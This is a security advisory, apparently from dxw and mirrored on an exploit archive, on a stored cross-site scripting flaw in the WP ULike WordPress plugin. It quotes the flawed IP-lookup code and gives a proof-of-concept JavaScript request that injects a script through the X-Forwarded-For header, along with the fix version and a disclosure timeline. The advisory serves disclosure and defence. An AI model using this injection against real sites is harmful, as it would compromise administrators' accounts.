exploit the possibilities

WordPress WP ULike 2.8.1 / 3.1 Cross Site Scripting

WordPress WP ULike 2.8.1 / 3.1 Cross Site Scripting
Posted May 15, 2018
Authored by Tom Adams

WordPress WP ULike plugin versions 2.8.1 and 3.1 suffer from a persistent cross site scripting vulnerability.

tags | exploit, xss
MD5 | 5239bb9f4e58dbc13acd429576447707

WordPress WP ULike 2.8.1 / 3.1 Cross Site Scripting

Change Mirror Download
Details
================
Software: WP ULike
Version: 2.8.1,3.1
Homepage: https://wordpress.org/plugins/wp-ulike/
Advisory report: https://advisories.dxw.com/advisories/stored-xss-wp-ulike/
CVE: Awaiting assignment
CVSS: 6.4 (Medium; AV:N/AC:L/Au:N/C:P/I:P/A:N)

Description
================
Stored XSS in WP ULike allows unauthorised users to do almost anything an admin can

Vulnerability
================
The pluginas default configuration (after pressing aSave Changesa on the settings page) allows unauthenticated users to alikea posts. It fetches the useras IP like this:
function wp_ulike_get_real_ip() {
if (getenv(\'HTTP_CLIENT_IP\')) {
$ip = getenv(\'HTTP_CLIENT_IP\');
} elseif (getenv(\'HTTP_X_FORWARDED_FOR\')) {
$ip = getenv(\'HTTP_X_FORWARDED_FOR\');
} elseif (getenv(\'HTTP_X_FORWARDED\')) {
$ip = getenv(\'HTTP_X_FORWARDED\');
} elseif (getenv(\'HTTP_FORWARDED_FOR\')) {
$ip = getenv(\'HTTP_FORWARDED_FOR\');
} elseif (getenv(\'HTTP_FORWARDED\')) {
$ip = getenv(\'HTTP_FORWARDED\');
} else {
$ip = $_SERVER[\'REMOTE_ADDR\'];
}

return $ip;
}
This will be incorrect in many situations. The header (which could be an IP address, or it could be an arbitrary string provided by the user) is stored in the database. Then itas displayed to the admin without being escaped.

Proof of concept
================

Enable the plugin
Visit /wp-admin/admin.php?page=wp-ulike-settings and press Save Settings
Sign out
Visit a post displaying a like button
Open the console
Paste and execute this: var d=document.querySelector(\'.wpulike-default a\').dataset;jQuery.ajax(\'/wp-admin/admin-ajax.php\', {method: \'POST\', headers: {\'X-Forwarded-For\': \'<script>alert(1)</script>\'},data: {action: \'wp_ulike_process\', id: d.ulikeId, status: d.ulikeStatus, type: d.ulikeType, nonce: d.ulikeNonce}})
Sign in
Visit /wp-admin/admin.php?page=wp-ulike-post-logs


Mitigations
================
Upgrade to version 3.2 or later.

Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/

Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this report with 14 days.

Timeline
================

2017-10-18: Discovered
2018-04-16: Reported to plugin author via contact form
2018-04-23: Vendor reported fixed in 3.2 (first reply)



Discovered by dxw:
================
Tom Adams
Please visit security.dxw.com for more information.




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